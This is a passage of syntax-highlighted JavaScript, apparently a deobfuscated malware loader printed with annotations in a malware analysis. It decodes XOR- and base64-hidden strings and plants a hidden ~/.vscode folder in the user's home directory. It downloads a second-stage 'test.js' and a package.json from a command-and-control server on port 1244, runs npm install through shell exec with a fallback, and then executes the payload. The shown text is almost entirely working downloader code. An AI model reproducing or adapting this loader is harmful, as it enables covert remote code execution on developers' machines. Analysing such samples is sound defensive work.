<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">vscodeDirName</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">xorDecode</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #B5CEA8">0x1e</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xa6</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x2a</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x7b</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x5f</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xb4</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x3c</span><span style="color: #D4D4D4">&#93;);         </span><span style="color: #6A9955">// &quot;.vscode&quot;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">secondStageFileName</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">xorDecode</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #B5CEA8">0x44</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xb5</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x2a</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x6c</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x1e</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xba</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x2a</span><span style="color: #D4D4D4">&#93;);   </span><span style="color: #6A9955">// &quot;test.js&quot;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">packageFileName</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">xorDecode</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #B5CEA8">0x40</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xb1</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x3a</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x73</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x51</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xb7</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x3c</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x36</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x5a</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xa3</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x36</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x76</span><span style="color: #D4D4D4">&#93;); </span><span style="color: #6A9955">// &quot;package.json&quot;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">nodeModulesDir</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">xorDecode</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #B5CEA8">0x5e</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xbf</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x3d</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x7d</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x6f</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xbd</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x36</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x7c</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x45</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xbc</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x3c</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x6b</span><span style="color: #D4D4D4">&#93;);  </span><span style="color: #6A9955">// &quot;node_modules&quot;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">cdCommand</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">xorDecode</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #B5CEA8">0x53</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xb4</span><span style="color: #D4D4D4">&#93;);                                     </span><span style="color: #6A9955">// &quot;cd&quot;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">npmInstallCmd</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">xorDecode</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #B5CEA8">0x16</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xf6</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x79</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x76</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x40</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xbd</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x79</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x71</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x10</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xfd</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x74</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x6b</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x59</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xbc</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x3c</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x76</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x44</span><span style="color: #D4D4D4">&#93;); </span><span style="color: #6A9955">// &quot;&amp;&amp; npm i --silent&quot;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">nodeCommand</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">xorDecode</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #B5CEA8">0x5e</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xbf</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x3d</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x7d</span><span style="color: #D4D4D4">&#93;);                        </span><span style="color: #6A9955">// &quot;node&quot;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">npmPrefixCmd</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">xorDecode</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #B5CEA8">0x5e</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xa0</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x34</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x38</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x1d</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xfd</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x29</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x6a</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x55</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xb6</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x30</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x60</span><span style="color: #D4D4D4">&#93;);    </span><span style="color: #6A9955">// &quot;npm --prefix&quot;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">npmInstallCmd2</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">xorDecode</span><span style="color: #D4D4D4">(&#91;</span><span style="color: #B5CEA8">0x59</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xbe</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x2a</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x6c</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x51</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0xbc</span><span style="color: #D4D4D4">,</span><span style="color: #B5CEA8">0x35</span><span style="color: #D4D4D4">&#93;);       </span><span style="color: #6A9955">// &quot;install&quot;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">mkdirSyncName</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">b64decode</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&quot;bWtkaXJTeW5j&quot;</span><span style="color: #D4D4D4">);          </span><span style="color: #6A9955">// &quot;mkdirSync&quot; (fs function name)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">writeFileSyncName</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">b64decode</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&quot;d3JpdGVGaWxlU3luYw==&quot;</span><span style="color: #D4D4D4">); </span><span style="color: #6A9955">// &quot;writeFileSync&quot; (fs function name)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">existsSyncName</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">b64decode</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&quot;ZXhpc3RzU3luYw==&quot;</span><span style="color: #D4D4D4">);     </span><span style="color: #6A9955">// &quot;existsSync&quot; (fs function name)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">rmSyncName</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">b64decode</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&quot;cm1TeW5j&quot;</span><span style="color: #D4D4D4">);                </span><span style="color: #6A9955">// &quot;rmSync&quot; (fs function name)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Shortcut references to fs functions</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">mkdirRecursive</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">&#91;</span><span style="color: #9CDCFE">mkdirSyncName</span><span style="color: #D4D4D4">&#93;;    </span><span style="color: #6A9955">// fs.mkdirSync</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">writeFile</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">&#91;</span><span style="color: #9CDCFE">writeFileSyncName</span><span style="color: #D4D4D4">&#93;;     </span><span style="color: #6A9955">// fs.writeFileSync</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">fileExists</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">&#91;</span><span style="color: #9CDCFE">existsSyncName</span><span style="color: #D4D4D4">&#93;;       </span><span style="color: #6A9955">// fs.existsSync</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">removeFile</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">&#91;</span><span style="color: #9CDCFE">rmSyncName</span><span style="color: #D4D4D4">&#93;;          </span><span style="color: #6A9955">// fs.rmSync</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Directory where the second-stage payload will be stored (default to homedir/.vscode)</span></span>
<span class="line"><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">vscodeDirName</span><span style="color: #D4D4D4">);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Ensure the payload directory exists (create .vscode folder if not present)</span></span>
<span class="line"><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #DCDCAA">mkdirRecursive</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4">, { </span><span style="color: #9CDCFE">recursive:</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">true</span><span style="color: #D4D4D4"> });</span></span>
<span class="line"><span style="color: #D4D4D4">} </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// If creation fails, fallback to using the home directory itself</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Helper functions for second-stage operations:</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Download second-stage payload (test.js) and then proceed to package installation</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">downloadPayloadAndExecute</span><span style="color: #D4D4D4">() {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">payloadURL</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> + </span><span style="color: #9CDCFE">secondStagePathPrefix</span><span style="color: #D4D4D4"> + </span><span style="color: #9CDCFE">dataType</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// e.g., &quot;http://&lt;server&gt;:1244/j/&lt;type&gt;&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">localPayloadPath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">secondStageFileName</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// e.g., &quot;.../.vscode/test.js&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Remove existing payload file if it exists</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> { </span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">removeFile</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">localPayloadPath</span><span style="color: #D4D4D4">); </span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) { </span><span style="color: #6A9955">/* ignore errors if file doesn&#39;t exist */</span><span style="color: #D4D4D4"> }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Download the second-stage JavaScript file</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">request</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">get</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadURL</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">resp</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (!</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #DCDCAA">writeFile</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">localPayloadPath</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// save the file</span></span>
<span class="line"><span style="color: #D4D4D4">            } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) { </span><span style="color: #6A9955">/* ignore write errors */</span><span style="color: #D4D4D4"> }</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// After saving the payload, attempt to fetch package.json and install dependencies</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">setupAndRunPayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    });</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Fetch package.json from C2 and handle dependency installation, then run the payload</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">setupAndRunPayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">packageJSONPath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">packageFileName</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// e.g., &quot;.../.vscode/package.json&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">packageURL</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> + </span><span style="color: #9CDCFE">packagePath</span><span style="color: #D4D4D4">;                       </span><span style="color: #6A9955">// e.g., &quot;http://&lt;server&gt;:1244/p&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">packageJSONPath</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// package.json already exists, proceed to install or run</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">installDependenciesAndExecute</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Download package.json from C2</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">request</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">get</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">packageURL</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">resp</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (!</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #DCDCAA">writeFile</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">packageJSONPath</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// save package.json</span></span>
<span class="line"><span style="color: #D4D4D4">                } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) { </span><span style="color: #6A9955">/* ignore errors */</span><span style="color: #D4D4D4"> }</span></span>
<span class="line"><span style="color: #D4D4D4">            }</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// After attempting to fetch package.json, proceed with dependency installation</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">installDependenciesAndExecute</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        });</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Install dependencies (npm install) in the payload directory, then execute the payload</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">installDependenciesAndExecute</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">nodeModulesPath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">nodeModulesDir</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">nodeModulesPath</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Dependencies already installed, run the payload directly</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">executePayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Run &quot;cd &#91;directory&#93; &amp;&amp; npm i --silent&quot; to install dependencies</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">installCmd</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">cdCommand</span><span style="color: #569CD6">}</span><span style="color: #CE9178"> &quot;</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">directory</span><span style="color: #569CD6">}</span><span style="color: #CE9178">&quot; </span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">npmInstallCmd</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">exec</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">installCmd</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">error</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">stdout</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">stderr</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #6A9955">// After attempting installation, run the fallback or execute payload</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #DCDCAA">finalizeInstallation</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            });</span></span>
<span class="line"><span style="color: #D4D4D4">        } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// If exec throws, try fallback method</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">finalizeInstallation</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Fallback installation using &quot;npm --prefix &#91;dir&#93; install&quot;, then execute payload</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">finalizeInstallation</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">nodeModulesPath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">nodeModulesDir</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">nodeModulesPath</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// If node_modules now exists, run the payload</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">executePayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Try alternate installation command: npm --prefix &quot;directory&quot; install</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">installCmd2</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">npmPrefixCmd</span><span style="color: #569CD6">}</span><span style="color: #CE9178"> &quot;</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">directory</span><span style="color: #569CD6">}</span><span style="color: #CE9178">&quot; </span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">npmInstallCmd2</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">exec</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">installCmd2</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">error</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">stdout</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">stderr</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #6A9955">// After second attempt, run payload regardless</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #DCDCAA">executePayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            });</span></span>
<span class="line"><span style="color: #D4D4D4">        } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// Even if this fails, attempt to run payload</span></span>
